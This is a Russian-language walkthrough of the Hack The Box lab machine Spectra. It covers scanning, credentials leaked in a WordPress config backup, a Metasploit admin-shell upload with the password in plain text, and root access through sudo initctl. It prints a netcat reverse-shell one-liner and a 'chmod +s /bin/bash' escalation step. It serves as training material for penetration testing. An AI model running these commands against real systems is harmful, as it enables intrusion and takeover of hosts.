Хакер - HTB Spectra. Пентестим WordPress и повышаем привилегии в Unix

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

• Разведка
• Сканирование портов
• Сканирование веб-контента
• Точка входа
• WordPress
• Точка опоры
• Продвижение
• Локальное повышение привилегий

Се­год­ня мы с тобой прой­дем лег­кую машину с пло­щад­ки Hack The Box под наз­вани­ем Spectra. Мы будем пен­тестить сайт под управле­нием WordPress, прод­вигать­ся на хос­те бла­года­ря авто­логи­ну и повысим при­виле­гии за счет коман­ды initctl.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Пер­вым делом добав­ляем IP машины в /etc/hosts:

10.10.10.229 spectra.htb

И ска­ниру­ем пор­ты.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

По резуль­татам ска­ниро­вания име­ем три откры­тых пор­та:

• порт 22 — служ­ба SSH;
• порт 80 — веб‑сер­вер nginx 1.17.4;
• порт 3306 — СУБД MySQL.

SSH и MySQL для нас пока зак­рыты, поэто­му нач­нем с веба. Вни­матель­но изу­чим сайт и соберем информа­цию.

Сканирование веб-контента

Сайт пред­став­ляет собой прос­то стра­ницу с дву­мя ссыл­ками. Пер­вая ведет к катало­гу, где раз­вернут сайт Software Issue Management на WordPress, а по вто­рому адре­су прос­то получим сооб­щение об ошиб­ке при под­клю­чении к базе дан­ных.

ТОЧКА ВХОДА

Ин­тересен адрес тес­тового сай­та:

http://10.10.10.229/testing/index.php

Мне показа­лось подоз­ритель­ным пря­мое ука­зание индекс‑фай­ла index.php, поэто­му я про­верил, что вер­нет сер­вер при обра­щении к http://10.10.10.229/testing/. И сер­вер вдруг вер­нул все содер­жимое этой дирек­тории! Прос­тей­шая ошиб­ка в нас­трой­ках веб‑сер­вера, которая иног­да может помочь.

Быс­тро перес­мотрев фай­лы, я нашел в wp-config.php.save (бэкап wp-config.php) учет­ные дан­ные для под­клю­чения к базе дан­ных.

Уже что‑то име­ем, но под­клю­чить­ся к базе дан­ных у меня не выш­ло, пос­коль­ку либо зап­рещена уда­лен­ная авто­риза­ция, либо в нас­трой­ках служ­бы ука­зан толь­ко опре­делен­ный адрес, с которо­го раз­решено под­клю­чение. Так что про­дол­жим изу­чать веб и перей­дем к WordPress.

WordPress

Для тес­тирова­ния сай­тов на WordPress мне не раз при­гож­далась ути­лита WPScan. С ее помощью мож­но обна­ружить уяз­вимые вер­сии самого WordPress, тем и пла­гинов, а так­же соб­рать спи­сок поль­зовате­лей и переб­рать учет­ные дан­ные — в общем, все, что нуж­но.

Ча­ще все­го уяз­вимос­ти кро­ются в пла­гинах, поэто­му я зарядил перебор в агрессив­ном режиме (занима­ет око­ло получа­са).

wpscan --url http://spectra.htb/main/ --plugins-detection aggressive

К сожале­нию, ничего обна­руже­но не было. Но вспом­ним, что у нас есть один пароль, который мож­но спре­ить (Password Spraying) по всем най­ден­ным поль­зовате­лям. Давай поищем их в CMS. Запус­каем WPScan с опци­ей -e u.

wpscan --url http://spectra.htb/main/ -e u

И у нас получа­ется авто­ризо­вать­ся от име­ни поль­зовате­ля administrator с паролем, най­ден­ным в бэкапе фай­ла кон­фигура­ций WordPress.

ТОЧКА ОПОРЫ

Ад­минис­тра­тор WordPress име­ет пра­во заг­ружать на сер­вер файл, поэто­му мы можем заг­рузить шелл и выпол­нить бэк­коннект к сво­ему хос­ту. В дан­ном слу­чае это лег­че все­го сде­лать с помощью модуля exploit/unix/webapp/wp_admin_shell_upload в Metasploit Framework. В опци­ях модуля сле­дует ука­зать адрес и порт локаль­ного хос­та для под­клю­чения (LHOST и LPORT), целевой хост (RHOSTS), дан­ные адми­нис­тра­тор­ской учет­ки и путь к домаш­нему катало­гу WordPress (TARGETURI).

Пос­ле запус­ка коман­дами run или exploit получим сес­сию Meterpreter в кон­тек­сте учет­ной записи служ­бы nginx.

msfconsole

use exploit/unix/webapp/wp_admin_shell_upload

set LHOST 10.10.14.141

set LPORT 4321

set RHOSTS spectra.htb

set USERNAME administrator

set PASSWORD devteam01

set TARGETURI /main

run

ПРОДВИЖЕНИЕ

Ког­да получа­ешь шелл в кон­тек­сте учет­ной записи служ­бы веб‑сер­вера, пер­вым делом сто­ит смот­реть дан­ные из фай­лов, которые отве­чают за под­клю­чение к базе дан­ных, хеши паролей поль­зовате­лей сай­та, а так­же вся­кие пароли и клю­чи в коде.

Од­нако в дан­ном слу­чае у нас уже есть и пароль для под­клю­чения к базе дан­ных, и пароль поль­зовате­ля сай­та, поэто­му будем искать кри­тичес­кие дан­ные где‑то на хос­те. Прос­матри­вая дирек­тории, я нат­кнул­ся на файл /opt/autologin.conf.orig — скрипт, который отве­чает за авто­мати­чес­кий вход в сис­тему без логина.

В скрип­те исполь­зует­ся файл /etc/autologin/passwd, а в нем мы находим пароль.

INFO

Каж­дый раз, ког­да получа­ешь новые име­на поль­зовате­лей и пароли, не забывай про­верять их в раз­ных ком­бинаци­ях во всех дос­тупных сер­висах.

В катало­ге /home я обна­ружил мно­го папок, а это зна­чит, что в сис­теме мно­го поль­зовате­лей. Узнать о них боль­ше мож­но из фай­ла /etc/passwd.

В ито­ге обна­ружи­ваем поль­зовате­ля katie, от име­ни которо­го можем авто­ризо­вать­ся по SSH с най­ден­ным паролем.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы заш­ли как поль­зователь, оста­лось получить при­виле­гии рута. Скрипт LinPEAS, который я обыч­но исполь­зую для раз­ведки и поис­ка путей повыше­ния при­виле­гий, не сра­ботал, поэто­му приш­лось про­водить про­вер­ку вруч­ную.

Пер­вым делом про­веря­ем наибо­лее веро­ятные мес­та: нас­трой­ки sudoers, при­ложе­ния с выс­тавлен­ным битом SUID, прос­лушива­емые на локал­хосте пор­ты. Нам везет еще на ста­дии sudoers. При вво­де коман­ды sudo -l видим такую кар­тину.

Лю­бой поль­зователь (ALL) может выпол­нить коман­ду /sbin/initctl в при­виле­гиро­ван­ном кон­тек­сте без вво­да пароля (NOPASSWD). Initctl — это инс­тру­мент для вза­имо­дей­ствия с демоном ини­циали­зации init.

Ло­гич­ный спо­соб его экс­плу­ата­ции — коман­да запус­ка задачи initctl start. Для это­го нам понадо­бит­ся кон­фигура­цион­ный файл задачи в дирек­тории /etc/init/.

При прос­мотре это­го катало­га най­дем нес­коль­ко тес­товых кон­фигов, дос­тупных груп­пе, в которую вхо­дит текущий поль­зователь.

Все, что нуж­но сде­лать, — это выб­рать любой из этих кон­фигов и записать коман­ду на bash где‑то меж­ду дирек­тивами script и end script. Сна­чала я записал реверс‑шелл для BSD.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip] [port] >/tmp/f

Но ука­зан­ный шелл не давал бэк­коннект, поэто­му приш­лось искать дру­гие пути для зак­репле­ния в при­виле­гиро­ван­ном кон­тек­сте: запись клю­чей SSH, соз­дание при­виле­гиро­ван­ных поль­зовате­лей и так далее. Пло­ды дало наз­начение бита SUID на файл /bin/bash:

chmod +s /bin/bash

Ес­ли ты вни­матель­но читал книж­ки по Unix, то навер­няка зна­ешь, что если у исполня­емо­го фай­ла задан бит SUID (set user ID), то обыч­ный поль­зователь, который запус­кает этот файл, получит повыше­ние прав до вла­дель­ца это­го фай­ла в рам­ках запущен­ного про­цес­са. Пос­коль­ку вла­делец bash — это root, то мы таким обра­зом смо­жем выпол­нять коман­ды от его име­ни.

INFO

Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют уста­нов­ленный shell-скрип­том S-атри­бут.

Ос­талось прос­то запус­тить задачу коман­дой initctl start.

Ко­ман­да выпол­нена успешно, мы можем запус­тить при­виле­гиро­ван­ный bash.

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei